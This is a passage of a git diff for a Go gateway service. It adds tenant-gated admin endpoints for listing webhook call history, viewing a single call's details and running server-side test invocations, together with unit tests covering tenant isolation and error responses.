ui/web/src/i18n/locales/en/webhooks.json create mode 100644 ui/web/src/i18n/locales/vi/webhooks.json create mode 100644 ui/web/src/i18n/locales/zh/webhooks.json create mode 100644 ui/web/src/pages/webhooks/hooks/use-webhooks.ts create mode 100644 ui/web/src/pages/webhooks/webhook-call-detail-dialog.tsx create mode 100644 ui/web/src/pages/webhooks/webhook-calls-dialog.tsx create mode 100644 ui/web/src/pages/webhooks/webhook-form-dialog.tsx create mode 100644 ui/web/src/pages/webhooks/webhook-form-fields.tsx create mode 100644 ui/web/src/pages/webhooks/webhook-list-table.tsx create mode 100644 ui/web/src/pages/webhooks/webhook-secret-dialog.tsx create mode 100644 ui/web/src/pages/webhooks/webhook-test-dialog.tsx create mode 100644 ui/web/src/pages/webhooks/webhooks-page.tsx create mode 100644 ui/web/src/types/webhook.ts diff --git a/cmd/gateway_http_wiring.go b/cmd/gateway_http_wiring.go index 35eb9dfd..c5e8db77 100644 --- a/cmd/gateway_http_wiring.go +++ b/cmd/gateway_http_wiring.go @@ -176,9 +176,13 @@ func (d *gatewayDeps) wireHTTPHandlersOnServer( // Webhook admin CRUD — available in all editions (Standard + Lite). // Runtime routes (/v1/webhooks/message, /v1/webhooks/llm) are mounted by phases 05/06. + // adminH is captured so the test endpoint (POST /v1/webhooks/{id}/test) can be wired + // with the runtime invokers (llm/message handlers) once they are constructed below. + var adminH *httpapi.WebhooksAdminHandler if d.pgStores != nil && d.pgStores.Webhooks != nil { - adminH := httpapi.NewWebhooksAdminHandler( + adminH = httpapi.NewWebhooksAdminHandler( d.pgStores.Webhooks, + d.pgStores.WebhookCalls, d.pgStores.Tenants, d.msgBus, ) @@ -188,13 +192,14 @@ func (d *gatewayDeps) wireHTTPHandlersOnServer( // Webhook message endpoint — Standard edition only (channels required). // Phase 05b: POST /v1/webhooks/message → sync channel send (text + optional media). + var msgH *httpapi.WebhookMessageHandler if edition.Current().AllowsChannels() && d.pgStores != nil && d.pgStores.Webhooks != nil && d.pgStores.WebhookCalls != nil && d.pgStores.ChannelInstances != nil && d.channelMgr != nil { - msgH := httpapi.NewWebhookMessageHandler( + msgH = httpapi.NewWebhookMessageHandler( d.channelMgr, d.pgStores.ChannelInstances, d.pgStores.WebhookCalls, @@ -209,11 +214,12 @@ func (d *gatewayDeps) wireHTTPHandlersOnServer( // Phase 06: POST /v1/webhooks/llm → sync agent run (≤30s) or async enqueue. // LocalhostOnly enforcement is handled by WebhookAuthMiddleware at request time. // lane=nil → handler self-creates internal default lane (4-slot). + var llmH *httpapi.WebhookLLMHandler if d.pgStores != nil && d.pgStores.Webhooks != nil && d.pgStores.WebhookCalls != nil && d.agentRouter != nil { - llmH := httpapi.NewWebhookLLMHandler( + llmH = httpapi.NewWebhookLLMHandler( d.agentRouter, d.pgStores.WebhookCalls, d.pgStores.Webhooks, @@ -223,6 +229,12 @@ func (d *gatewayDeps) wireHTTPHandlersOnServer( llmH.SetEncKey(webhookEncKey) // K6: decrypt secret at HMAC verify time d.server.SetWebhookLLMHandler(llmH) } + + // Wire the admin test endpoint with runtime invokers. msgH is nil on Lite — the + // admin handler guards on nil and rejects message tests there. + if adminH != nil { + adminH.SetTesters(llmH, msgH) + } } // Allow browser-paired users to access HTTP APIs diff --git a/internal/http/webhooks_admin.go b/internal/http/webhooks_admin.go index 5c63e9ae..64ac0354 100644 --- a/internal/http/webhooks_admin.go +++ b/internal/http/webhooks_admin.go @@ -1,12 +1,14 @@ package http import ( + "context" "crypto/rand" "crypto/sha256" "encoding/base32" "encoding/hex" "log/slog" "net/http" + "strconv" "time" "github.com/google/uuid" @@ -30,21 +32,38 @@ var webhookKinds = map[string]bool{ "message": true, } +// webhookLLMTester runs a server-side test invocation of an llm-kind webhook using the +// admin's already-authorized session (no webhook secret required). Implemented by *WebhookLLMHandler. +type webhookLLMTester interface { + RunTest(ctx context.Context, wh *store.WebhookData, input, model string) (*webhookLLMSyncResp, error) +} + +// webhookMsgTester runs a server-side test invocation of a message-kind webhook. Implemented by +// *WebhookMessageHandler. nil on Lite edition (channels unavailable) — handleTest guards on nil. +type webhookMsgTester interface { + RunTest(ctx context.Context, wh *store.WebhookData, req webhookMessageReq) (*webhookMessageResp, error) +} + // WebhooksAdminHandler implements CRUD for webhook registry entries. // All endpoints are tenant-admin-gated (requireTenantAdmin). // encKey is the AES-256-GCM encryption key (GOCLAW_ENCRYPTION_KEY); if empty, encrypted_secret // is stored as "" and HMAC auth requires rotation before it can be used. type WebhooksAdminHandler struct { - webhooks store.WebhookStore - tenants store.TenantStore - msgBus *bus.MessageBus - encKey string // AES-256-GCM key for encrypting raw webhook secrets at rest + webhooks store.WebhookStore + calls store.WebhookCallStore + tenants store.TenantStore + msgBus *bus.MessageBus + encKey string // AES-256-GCM key for encrypting raw webhook secrets at rest + llmTester webhookLLMTester + msgTester webhookMsgTester } // NewWebhooksAdminHandler creates a handler for webhook admin endpoints. -func NewWebhooksAdminHandler(webhooks store.WebhookStore, tenants store.TenantStore, msgBus *bus.MessageBus) *WebhooksAdminHandler { +// calls may be nil — the delivery-history endpoint returns 503 when unset. +func NewWebhooksAdminHandler(webhooks store.WebhookStore, calls store.WebhookCallStore, tenants store.TenantStore, msgBus *bus.MessageBus) *WebhooksAdminHandler { return &WebhooksAdminHandler{ webhooks: webhooks, + calls: calls, tenants: tenants, msgBus: msgBus, } @@ -56,6 +75,18 @@ func (h *WebhooksAdminHandler) SetEncKey(encKey string) { h.encKey = encKey } +// SetTesters wires the runtime invocation handlers used by POST /v1/webhooks/{id}/test. +// Concrete pointer params (not interfaces) so callers can pass typed-nil safely: a nil +// *WebhookMessageHandler on Lite leaves msgTester as a true nil interface. Safe to call at startup only. +func (h *WebhooksAdminHandler) SetTesters(llm *WebhookLLMHandler, msg *WebhookMessageHandler) { + if llm != nil { + h.llmTester = llm + } + if msg != nil { + h.msgTester = msg + } +} + // RegisterRoutes registers all webhook admin routes on mux. // Admin CRUD routes mount for both editions. // Runtime routes (/v1/webhooks/message, /v1/webhooks/llm) are mounted by phases 05/06 @@ -67,6 +98,9 @@ func (h *WebhooksAdminHandler) RegisterRoutes(mux *http.ServeMux) { mux.HandleFunc("PATCH /v1/webhooks/{id}", h.requireAdmin(h.handleUpdate)) mux.HandleFunc("POST /v1/webhooks/{id}/rotate", h.requireAdmin(h.handleRotate)) mux.HandleFunc("DELETE /v1/webhooks/{id}", h.requireAdmin(h.handleRevoke)) + mux.HandleFunc("GET /v1/webhooks/{id}/calls", h.requireAdmin(h.handleListCalls)) + mux.HandleFunc("GET /v1/webhooks/{id}/calls/{callId}", h.requireAdmin(h.handleGetCall)) + mux.HandleFunc("POST /v1/webhooks/{id}/test", h.requireAdmin(h.handleTest)) } func (h *WebhooksAdminHandler) requireAdmin(next http.HandlerFunc) http.HandlerFunc { @@ -532,6 +566,318 @@ func (h *WebhooksAdminHandler) handleRevoke(w http.ResponseWriter, r *http.Reque writeJSON(w, http.StatusOK, map[string]string{"status": "revoked"}) } +// --- List Calls (delivery history) --- + +// webhookCallResp is the trimmed delivery-history record returned to the admin UI. +// Raw request_payload is omitted (may be large / hold caller data); response is the +// already-truncated (≤32 KB) audit body and is safe to surface for debugging. +type webhookCallResp struct { + ID uuid.UUID `json:"id"` + DeliveryID uuid.UUID `json:"delivery_id"` + Mode string `json:"mode"` + Status string `json:"status"` + Attempts int `json:"attempts"` + NextAttemptAt *time.Time `json:"next_attempt_at,omitempty"` + StartedAt *time.Time `json:"started_at,omitempty"` + CompletedAt *time.Time `json:"completed_at,omitempty"` + CreatedAt time.Time `json:"created_at"` + LastError *string `json:"last_error,omitempty"` + Response string `json:"response,omitempty"` +} + +const ( + webhookCallsDefaultLimit = 50 + webhookCallsMaxLimit = 200 +) + +func (h *WebhooksAdminHandler) handleListCalls(w http.ResponseWriter, r *http.Request) { + locale := extractLocale(r) + + if !requireTenantAdmin(w, r, h.tenants) { + slog.Warn("security.webhook.admin_denied", "action", "list_calls", "path", r.URL.Path, + "user_id", store.UserIDFromContext(r.Context())) + return + } + + if h.calls == nil { + writeError(w, http.StatusServiceUnavailable, protocol.ErrInternal, i18n.T(locale, i18n.MsgInternalError, "call store unavailable")) + return + } + + id, ok := parseWebhookID(w, r, locale) + if !ok { + return + } + + ctx := r.Context() + + // Verify ownership before exposing call history (same pattern as handleGet). + wh, err := h.webhooks.GetByID(ctx, id) + if err != nil || wh == nil { + writeError(w, http.StatusNotFound, protocol.ErrNotFound, i18n.T(locale, i18n.MsgNotFound, "webhook", id.String())) + return + } + tenantID := store.TenantIDFromContext(ctx) + if !store.IsOwnerRole(ctx) && wh.TenantID != tenantID { + writeError(w, http.StatusNotFound, protocol.ErrNotFound, i18n.T(locale, i18n.MsgNotFound, "webhook", id.String())) + return + } + + f := store.WebhookCallListFilter{WebhookID: &id, Limit: webhookCallsDefaultLimit} + if s := r.URL.Query().Get("status"); s != "" { + f.Status = s + } + if l := r.URL.Query().Get("limit"); l != "" { + if n, perr := strconv.Atoi(l); perr == nil && n > 0 { + if n > webhookCallsMaxLimit { + n = webhookCallsMaxLimit + } + f.Limit = n + } + } + if o := r.URL.Query().Get("offset"); o != "" { + if n, perr := strconv.Atoi(o); perr == nil && n >= 0 { + f.Offset = n + } + } + + rows, err := h.calls.List(ctx, f) + if err != nil { + slog.Error("webhook.admin.list_calls_failed", "error", err, "id", id) + writeError(w, http.StatusInternalServerError, protocol.ErrInternal, i18n.T(locale, i18n.MsgFailedToList, "webhook calls")) + return + } + + out := make([]webhookCallResp, 0, len(rows)) + for i := range rows { + c := &rows[i] + out = append(out, webhookCallResp{ + ID: c.ID, + DeliveryID: c.DeliveryID, + Mode: c.Mode, + Status: c.Status, + Attempts: c.Attempts, + NextAttemptAt: c.NextAttemptAt, + StartedAt: c.StartedAt, + CompletedAt: c.CompletedAt, + CreatedAt: c.CreatedAt, + LastError: c.LastError, + Response: string(c.Response), + }) + } + writeJSON(w, http.StatusOK, out) +} + +// --- Get Call (single delivery detail) --- + +// webhookCallDetailResp is the full delivery record for GET /v1/webhooks/{id}/calls/{callId}. +// Unlike the list DTO it includes request_payload (canonical audit body) and the full response, +// plus callback_url / idempotency_key — for debugging a single invocation. +type webhookCallDetailResp struct { + ID uuid.UUID `json:"id"` + WebhookID uuid.UUID `json:"webhook_id"` + AgentID *uuid.UUID `json:"agent_id,omitempty"` + DeliveryID uuid.UUID `json:"delivery_id"` + IdempotencyKey *string `json:"idempotency_key,omitempty"` + Mode string `json:"mode"` + Status string `json:"status"` + CallbackURL *string `json:"callback_url,omitempty"` + Attempts int `json:"attempts"` + NextAttemptAt *time.Time `json:"next_attempt_at,omitempty"` + StartedAt *time.Time `json:"started_at,omitempty"` + CompletedAt *time.Time `json:"completed_at,omitempty"` + CreatedAt time.Time `json:"created_at"` + LastError *string `json:"last_error,omitempty"` + RequestPayload string `json:"request_payload,omitempty"` + Response string `json:"response,omitempty"` +} + +func (h *WebhooksAdminHandler) handleGetCall(w http.ResponseWriter, r *http.Request) { + locale := extractLocale(r) + + if !requireTenantAdmin(w, r, h.tenants) { + slog.Warn("security.webhook.admin_denied", "action", "get_call", "path", r.URL.Path, + "user_id", store.UserIDFromContext(r.Context())) + return + } + + if h.calls == nil { + writeError(w, http.StatusServiceUnavailable, protocol.ErrInternal, i18n.T(locale, i18n.MsgInternalError, "call store unavailable")) + return + } + + id, ok := parseWebhookID(w, r, locale) + if !ok { + return + } + callID, err := uuid.Parse(r.PathValue("callId")) + if err != nil { + writeError(w, http.StatusBadRequest, protocol.ErrInvalidRequest, i18n.T(locale, i18n.MsgInvalidID, "call")) + return + } + + ctx := r.Context() + + // Verify webhook ownership first (same pattern as handleGet/handleListCalls). + wh, err := h.webhooks.GetByID(ctx, id) + if err != nil || wh == nil { + writeError(w, http.StatusNotFound, protocol.ErrNotFound, i18n.T(locale, i18n.MsgNotFound, "webhook", id.String())) + return + } + tenantID := store.TenantIDFromContext(ctx) + if !store.IsOwnerRole(ctx) && wh.TenantID != tenantID { + writeError(w, http.StatusNotFound, protocol.ErrNotFound, i18n.T(locale, i18n.MsgNotFound, "webhook", id.String())) + return + } + + // GetByID is tenant-scoped; also verify the call belongs to THIS webhook. + c, err := h.calls.GetByID(ctx, callID) + if err != nil || c == nil || c.WebhookID != id { + writeError(w, http.StatusNotFound, protocol.ErrNotFound, i18n.T(locale, i18n.MsgNotFound, "webhook call", callID.String())) + return + } + if !store.IsOwnerRole(ctx) && c.TenantID != tenantID { + writeError(w, http.StatusNotFound, protocol.ErrNotFound, i18n.T(locale, i18n.MsgNotFound, "webhook call", callID.String())) + return + } + + writeJSON(w, http.StatusOK, webhookCallDetailResp{ + ID: c.ID, + WebhookID: c.WebhookID, + AgentID: c.AgentID, + DeliveryID: c.DeliveryID, + IdempotencyKey: c.IdempotencyKey, + Mode: c.Mode, + Status: c.Status, + CallbackURL: c.CallbackURL, + Attempts: c.Attempts, + NextAttemptAt: c.NextAttemptAt, + StartedAt: c.StartedAt, + CompletedAt: c.CompletedAt, + CreatedAt: c.CreatedAt, + LastError: c.LastError, + RequestPayload: string(c.RequestPayload), + Response: string(c.Response), + }) +} + +// --- Test (server-side invocation) --- + +// testWebhookReq is the request body for POST /v1/webhooks/{id}/test. +// For kind=llm: input (+ optional model). For kind=message: channel_name/chat_id/content/media_*. +type testWebhookReq struct { + // llm fields + Input string `json:"input,omitempty"` + Model string `json:"model,omitempty"` + // message fields + ChannelName string `json:"channel_name,omitempty"` + ChatID string `json:"chat_id,omitempty"` + Content string `json:"content,omitempty"` + MediaURL string `json:"media_url,omitempty"` + MediaCaption string `json:"media_caption,omitempty"` + FallbackToText bool `json:"fallback_to_text,omitempty"` +} + +func (h *WebhooksAdminHandler) handleTest(w http.ResponseWriter, r *http.Request) { + locale := extractLocale(r) + + if !requireTenantAdmin(w, r, h.tenants) { + slog.Warn("security.webhook.admin_denied", "action", "test", "path", r.URL.Path, + "user_id", store.UserIDFromContext(r.Context())) + return + } + + id, ok := parseWebhookID(w, r, locale) + if !ok { + return + } + + ctx := r.Context() + + // Verify ownership before invoking. + wh, err := h.webhooks.GetByID(ctx, id) + if err != nil || wh == nil { + writeError(w, http.StatusNotFound, protocol.ErrNotFound, i18n.T(locale, i18n.MsgNotFound, "webhook", id.String())) + return + } + tenantID := store.TenantIDFromContext(ctx) + if !store.IsOwnerRole(ctx) && wh.TenantID != tenantID { + writeError(w, http.StatusNotFound, protocol.ErrNotFound, i18n.T(locale, i18n.MsgNotFound, "webhook", id.String())) + return + } + if wh.Revoked { + writeError(w, http.StatusConflict, protocol.ErrInvalidRequest, i18n.T(locale, i18n.MsgWebhookRevoked)) + return + } + + var req testWebhookReq + if !bindJSON(w, r, locale, &req) { + return + } + + switch wh.Kind { + case "llm": + if h.llmTester == nil { + writeError(w, http.StatusServiceUnavailable, protocol.ErrInternal, i18n.T(locale, i18n.MsgInternalError, "llm tester unavailable")) + return + } + if wh.AgentID == nil { + writeError(w, http.StatusBadRequest, protocol.ErrInvalidRequest, i18n.T(locale, i18n.MsgWebhookAgentNotFound)) + return + } + if req.Input == "" { + writeError(w, http.StatusBadRequest, protocol.ErrInvalidRequest, i18n.T(locale, i18n.MsgRequired, "input")) + return + } + resp, runErr := h.llmTester.RunTest(ctx, wh, req.Input, req.Model) + if runErr != nil { + slog.Warn("webhook.admin.test_failed", "id", id, "kind", "llm", "error", runErr) + writeError(w, http.StatusBadGateway, protocol.ErrInternal, i18n.T(locale, i18n.MsgInternalError, runErr.Error())) + return + } + slog.Info("webhook.tested", "id", id, "tenant_id", tenantID, "kind", "llm", "actor", extractUserID(r)) + writeJSON(w, http.StatusOK, resp) + case "message": + if h.msgTester == nil { + writeError(w, http.StatusForbidden, protocol.ErrUnauthorized, i18n.T(locale, i18n.MsgWebhookMessageTestRequiresStandard)) + return + } + if wh.ChannelID == nil && req.ChannelName == "" { + writeError(w, http.StatusBadRequest, protocol.ErrInvalidRequest, i18n.T(locale, i18n.MsgRequired, "channel_name")) + return + } + if req.ChatID == "" { + writeError(w, http.StatusBadRequest, protocol.ErrInvalidRequest, i18n.T(locale, i18n.MsgRequired, "chat_id")) + return + } + if req.Content == "" && req.MediaURL == "" { + writeError(w, http.StatusBadRequest, protocol.ErrInvalidRequest, i18n.T(locale, i18n.MsgRequired, "content")) + return + } + if len(req.Content) > webhookContentMaxBytes { + writeError(w, http.StatusBadRequest, protocol.ErrInvalidRequest, i18n.T(locale, i18n.MsgInvalidRequest, "content exceeds 16 KB limit")) + return + } + resp, runErr := h.msgTester.RunTest(ctx, wh, webhookMessageReq{ + ChannelName: req.ChannelName, + ChatID: req.ChatID, + Content: req.Content, + MediaURL: req.MediaURL, + MediaCaption: req.MediaCaption, + FallbackToText: req.FallbackToText, + }) + if runErr != nil { + slog.Warn("webhook.admin.test_failed", "id", id, "kind", "message", "error", runErr) + writeError(w, http.StatusBadGateway, protocol.ErrInternal, i18n.T(locale, i18n.MsgInternalError, runErr.Error())) + return + } + slog.Info("webhook.tested", "id", id, "tenant_id", tenantID, "kind", "message", "actor", extractUserID(r)) + writeJSON(w, http.StatusOK, resp) + default: + writeError(w, http.StatusBadRequest, protocol.ErrInvalidRequest, i18n.T(locale, i18n.MsgInvalidRequest, "unknown webhook kind")) + } +} + // --- Helpers --- // generateWebhookSecret creates a new webhook secret in format "wh_". diff --git a/internal/http/webhooks_admin_calls_test.go b/internal/http/webhooks_admin_calls_test.go new file mode 100644 index 00000000..112bddea --- /dev/null +++ b/internal/http/webhooks_admin_calls_test.go @@ -0,0 +1,388 @@ +package http + +import ( + "context" + "database/sql" + "encoding/json" + "errors" + "net/http" + "sync" + "testing" + "time" + + "github.com/google/uuid" + + "github.com/nextlevelbuilder/goclaw/internal/store" +) + +// ---- stub WebhookCallStore for admin tests ---- + +type adminCallStore struct { + mu sync.Mutex + rows []store.WebhookCallData + calls int // List invocation counter +} + +func (s *adminCallStore) Create(_ context.Context, c *store.WebhookCallData) error { + s.mu.Lock() + defer s.mu.Unlock() + s.rows = append(s.rows, *c) + return nil +} + +func (s *adminCallStore) List(ctx context.Context, f store.WebhookCallListFilter) ([]store.WebhookCallData, error) { + s.mu.Lock() + defer s.mu.Unlock() + s.calls++ + tid := store.TenantIDFromContext(ctx) + var out []store.WebhookCallData + for _, r := range s.rows { + // Mirror real store tenant scoping. + if tid != uuid.Nil && r.TenantID != tid && !store.IsOwnerRole(ctx) { + continue + } + if f.WebhookID != nil && r.WebhookID != *f.WebhookID { + continue + } + if f.Status != "" && r.Status != f.Status { + continue + } + out = append(out, r) + } + return out, nil +} + +func (s *adminCallStore) GetByID(ctx context.Context, id uuid.UUID) (*store.WebhookCallData, error) { + s.mu.Lock() + defer s.mu.Unlock() + tid := store.TenantIDFromContext(ctx) + for i := range s.rows { + if s.rows[i].ID != id { + continue + } + if tid != uuid.Nil && s.rows[i].TenantID != tid && !store.IsOwnerRole(ctx) { + return nil, sql.ErrNoRows + } + cp := s.rows[i] + return &cp, nil + } + return nil, sql.ErrNoRows +} +func (s *adminCallStore) GetByIdempotency(context.Context, uuid.UUID, string) (*store.WebhookCallData, error) { + return nil, sql.ErrNoRows +} +func (s *adminCallStore) UpdateStatus(context.Context, uuid.UUID, map[string]any) error { return nil } +func (s *adminCallStore) UpdateStatusCAS(context.Context, uuid.UUID, string, map[string]any) error { + return nil +} +func (s *adminCallStore) ClaimNext(context.Context, uuid.UUID, time.Time) (*store.WebhookCallData, error) { + return nil, sql.ErrNoRows +} +func (s *adminCallStore) DeleteOlderThan(context.Context, uuid.UUID, time.Time) (int64, error) { + return 0, nil +} +func (s *adminCallStore) ReclaimStale(context.Context, time.Time) (int64, error) { return 0, nil } + +// ---- stub testers ---- + +type stubLLMTester struct { + resp *webhookLLMSyncResp + err error + gotWh *store.WebhookData + gotIn string + gotMdl string + invoked bool +} + +func (s *stubLLMTester) RunTest(_ context.Context, wh *store.WebhookData, input, model string) (*webhookLLMSyncResp, error) { + s.invoked = true + s.gotWh = wh + s.gotIn = input + s.gotMdl = model + return s.resp, s.err +} + +type stubMsgTester struct { + resp *webhookMessageResp + err error + invoked bool +} + +func (s *stubMsgTester) RunTest(_ context.Context, _ *store.WebhookData, _ webhookMessageReq) (*webhookMessageResp, error) { + s.invoked = true + return s.resp, s.err +} + +// ---- helpers ---- + +func newAdminHandlerWithCalls(ws *adminWebhookStore, cs store.WebhookCallStore, ts *adminTenantStore) *WebhooksAdminHandler { + h := NewWebhooksAdminHandler(ws, cs, ts, nil) + h.SetEncKey(testAdminEncKey) + return h +} + +// ---- list-calls tests ---- + +func TestWebhookAdmin_ListCalls_Success(t *testing.T) { + tid := uuid.New() + wh := &store.WebhookData{ID: uuid.New(), TenantID: tid, Name: "wh", Kind: "llm"} + cs := &adminCallStore{} + now := time.Now() + done := "done" + cs.rows = []store.WebhookCallData{ + {ID: uuid.New(), TenantID: tid, WebhookID: wh.ID, DeliveryID: uuid.New(), Mode: "sync", Status: "done", Attempts: 1, CreatedAt: now, Response: []byte(`{"output":"hi"}`)}, + {ID: uuid.New(), TenantID: tid, WebhookID: wh.ID, DeliveryID: uuid.New(), Mode: "async", Status: "failed", Attempts: 3, CreatedAt: now, LastError: &done}, + {ID: uuid.New(), TenantID: uuid.New(), WebhookID: uuid.New(), DeliveryID: uuid.New(), Mode: "sync", Status: "done", CreatedAt: now}, // other tenant/webhook + } + h := newAdminHandlerWithCalls(newAdminWebhookStore(wh), cs, &adminTenantStore{roles: map[string]string{tid.String() + ":admin-user": "admin"}}) + + ctx := webhookTenantAdminCtx(tid, "admin-user") + w := doRequest(t, h, http.MethodGet, "/v1/webhooks/"+wh.ID.String()+"/calls", nil, ctx) + if w.Code != http.StatusOK { + t.Fatalf("want 200, got %d: %s", w.Code, w.Body.String()) + } + var got []webhookCallResp + if err := json.Unmarshal(w.Body.Bytes(), &got); err != nil { + t.Fatalf("decode: %v", err) + } + if len(got) != 2 { + t.Fatalf("want 2 calls for this webhook, got %d", len(got)) + } +} + +func TestWebhookAdmin_ListCalls_StatusFilter(t *testing.T) { + tid := uuid.New() + wh := &store.WebhookData{ID: uuid.New(), TenantID: tid, Name: "wh", Kind: "llm"} + cs := &adminCallStore{} + now := time.Now() + cs.rows = []store.WebhookCallData{ + {ID: uuid.New(), TenantID: tid, WebhookID: wh.ID, Status: "done", CreatedAt: now}, + {ID: uuid.New(), TenantID: tid, WebhookID: wh.ID, Status: "failed", CreatedAt: now}, + } + h := newAdminHandlerWithCalls(newAdminWebhookStore(wh), cs, &adminTenantStore{roles: map[string]string{tid.String() + ":admin-user": "admin"}}) + + ctx := webhookTenantAdminCtx(tid, "admin-user") + w := doRequest(t, h, http.MethodGet, "/v1/webhooks/"+wh.ID.String()+"/calls?status=failed", nil, ctx) + if w.Code != http.StatusOK { + t.Fatalf("want 200, got %d", w.Code) + } + var got []webhookCallResp + _ = json.Unmarshal(w.Body.Bytes(), &got) + if len(got) != 1 || got[0].Status != "failed" { + t.Fatalf("status filter failed: %+v", got) + } +} + +func TestWebhookAdmin_ListCalls_TenantIsolation(t *testing.T) { + ownerTid := uuid.New() + otherTid := uuid.New() + wh := &store.WebhookData{ID: uuid.New(), TenantID: ownerTid, Name: "wh", Kind: "llm"} + cs := &adminCallStore{} + h := newAdminHandlerWithCalls(newAdminWebhookStore(wh), cs, &adminTenantStore{roles: map[string]string{ + ownerTid.String() + ":owner-user": "admin", + otherTid.String() + ":other": "admin", // valid admin of a different tenant + }}) + + // A different tenant's admin must not see the webhook (tenant-scoped GetByID → 404). + ctx := webhookTenantAdminCtx(otherTid, "other") + w := doRequest(t, h, http.MethodGet, "/v1/webhooks/"+wh.ID.String()+"/calls", nil, ctx) + if w.Code != http.StatusNotFound { + t.Fatalf("cross-tenant must get 404, got %d", w.Code) + } +} + +func TestWebhookAdmin_ListCalls_NilStore503(t *testing.T) { + tid := uuid.New() + wh := &store.WebhookData{ID: uuid.New(), TenantID: tid, Name: "wh", Kind: "llm"} + h := newAdminHandler(newAdminWebhookStore(wh), &adminTenantStore{roles: map[string]string{tid.String() + ":u": "admin"}}) // calls == nil + ctx := webhookTenantAdminCtx(tid, "u") + w := doRequest(t, h, http.MethodGet, "/v1/webhooks/"+wh.ID.String()+"/calls", nil, ctx) + if w.Code != http.StatusServiceUnavailable { + t.Fatalf("nil call store must get 503, got %d", w.Code) + } +} + +// ---- get-call (detail) tests ---- + +func TestWebhookAdmin_GetCall_Success(t *testing.T) { + tid := uuid.New() + wh := &store.WebhookData{ID: uuid.New(), TenantID: tid, Name: "wh", Kind: "llm"} + callID := uuid.New() + cb := "https://example.com/cb" + cs := &adminCallStore{} + cs.rows = []store.WebhookCallData{{ + ID: callID, TenantID: tid, WebhookID: wh.ID, DeliveryID: uuid.New(), Mode: "async", + Status: "done", Attempts: 1, CallbackURL: &cb, CreatedAt: time.Now(), + RequestPayload: []byte(`{"body_hash":"abc","meta":{}}`), Response: []byte(`{"output":"ok"}`), + }} + h := newAdminHandlerWithCalls(newAdminWebhookStore(wh), cs, &adminTenantStore{roles: map[string]string{tid.String() + ":u": "admin"}}) + + ctx := webhookTenantAdminCtx(tid, "u") + w := doRequest(t, h, http.MethodGet, "/v1/webhooks/"+wh.ID.String()+"/calls/"+callID.String(), nil, ctx) + if w.Code != http.StatusOK { + t.Fatalf("want 200, got %d: %s", w.Code, w.Body.String()) + } + var got webhookCallDetailResp + if err := json.Unmarshal(w.Body.Bytes(), &got); err != nil { + t.Fatalf("decode: %v", err) + } + if got.ID != callID || got.RequestPayload == "" || got.Response == "" || got.CallbackURL == nil { + t.Fatalf("detail missing fields: %+v", got) + } +} + +func TestWebhookAdmin_GetCall_WrongWebhook404(t *testing.T) { + tid := uuid.New() + wh := &store.WebhookData{ID: uuid.New(), TenantID: tid, Name: "wh", Kind: "llm"} + other := &store.WebhookData{ID: uuid.New(), TenantID: tid, Name: "other", Kind: "llm"} + callID := uuid.New() + cs := &adminCallStore{} + // Call belongs to `other`, not `wh`. + cs.rows = []store.WebhookCallData{{ID: callID, TenantID: tid, WebhookID: other.ID, CreatedAt: time.Now()}} + h := newAdminHandlerWithCalls(newAdminWebhookStore(wh, other), cs, &adminTenantStore{roles: map[string]string{tid.String() + ":u": "admin"}}) + + ctx := webhookTenantAdminCtx(tid, "u") + w := doRequest(t, h, http.MethodGet, "/v1/webhooks/"+wh.ID.String()+"/calls/"+callID.String(), nil, ctx) + if w.Code != http.StatusNotFound { + t.Fatalf("call of another webhook must be 404, got %d", w.Code) + } +} + +func TestWebhookAdmin_GetCall_TenantIsolation(t *testing.T) { + ownerTid := uuid.New() + otherTid := uuid.New() + wh := &store.WebhookData{ID: uuid.New(), TenantID: ownerTid, Name: "wh", Kind: "llm"} + callID := uuid.New() + cs := &adminCallStore{} + cs.rows = []store.WebhookCallData{{ID: callID, TenantID: ownerTid, WebhookID: wh.ID, CreatedAt: time.Now()}} + h := newAdminHandlerWithCalls(newAdminWebhookStore(wh), cs, &adminTenantStore{roles: map[string]string{ + ownerTid.String() + ":owner": "admin", + otherTid.String() + ":other": "admin", + }}) + + ctx := webhookTenantAdminCtx(otherTid, "other") + w := doRequest(t, h, http.MethodGet, "/v1/webhooks/"+wh.ID.String()+"/calls/"+callID.String(), nil, ctx) + if w.Code != http.StatusNotFound { + t.Fatalf("cross-tenant must be 404, got %d", w.Code) + } +} + +// ---- test-endpoint tests ---- + +func TestWebhookAdmin_Test_LLM_Success(t *testing.T) { + tid := uuid.New() + agentID := uuid.New() + wh := &store.WebhookData{ID: uuid.New(), TenantID: tid, Name: "wh", Kind: "llm", AgentID: &agentID} + cs := &adminCallStore{} + h := newAdminHandlerWithCalls(newAdminWebhookStore(wh), cs, &adminTenantStore{roles: map[string]string{tid.String() + ":u": "admin"}}) + llm := &stubLLMTester{resp: &webhookLLMSyncResp{CallID: "c1", AgentID: agentID.String(), Output: "pong", FinishReason: "stop"}} + h.llmTester = llm + + ctx := webhookTenantAdminCtx(tid, "u") + w := doRequest(t, h, http.MethodPost, "/v1/webhooks/"+wh.ID.String()+"/test", map[string]any{"input": "ping"}, ctx) + if w.Code != http.StatusOK { + t.Fatalf("want 200, got %d: %s", w.Code, w.Body.String()) + } + if !llm.invoked || llm.gotIn != "ping" { + t.Fatalf("tester not invoked correctly: %+v", llm) + } +} + +func TestWebhookAdmin_Test_LLM_MissingInput(t *testing.T) { + tid := uuid.New() + agentID := uuid.New() + wh := &store.WebhookData{ID: uuid.New(), TenantID: tid, Name: "wh", Kind: "llm", AgentID: &agentID} + h := newAdminHandlerWithCalls(newAdminWebhookStore(wh), &adminCallStore{}, &adminTenantStore{roles: map[string]string{tid.String() + ":u": "admin"}}) + h.llmTester = &stubLLMTester{} + ctx := webhookTenantAdminCtx(tid, "u") + w := doRequest(t, h, http.MethodPost, "/v1/webhooks/"+wh.ID.String()+"/test", map[string]any{}, ctx) + if w.Code != http.StatusBadRequest { + t.Fatalf("missing input must be 400, got %d", w.Code) + } +} + +func TestWebhookAdmin_Test_LLM_RunError(t *testing.T) { + tid := uuid.New() + agentID := uuid.New() + wh := &store.WebhookData{ID: uuid.New(), TenantID: tid, Name: "wh", Kind: "llm", AgentID: &agentID} + h := newAdminHandlerWithCalls(newAdminWebhookStore(wh), &adminCallStore{}, &adminTenantStore{roles: map[string]string{tid.String() + ":u": "admin"}}) + h.llmTester = &stubLLMTester{err: errors.New("boom")} + ctx := webhookTenantAdminCtx(tid, "u") + w := doRequest(t, h, http.MethodPost, "/v1/webhooks/"+wh.ID.String()+"/test", map[string]any{"input": "x"}, ctx) + if w.Code != http.StatusBadGateway { + t.Fatalf("run error must be 502, got %d", w.Code) + } +} + +func TestWebhookAdmin_Test_Message_RequiresStandard(t *testing.T) { + tid := uuid.New() + wh := 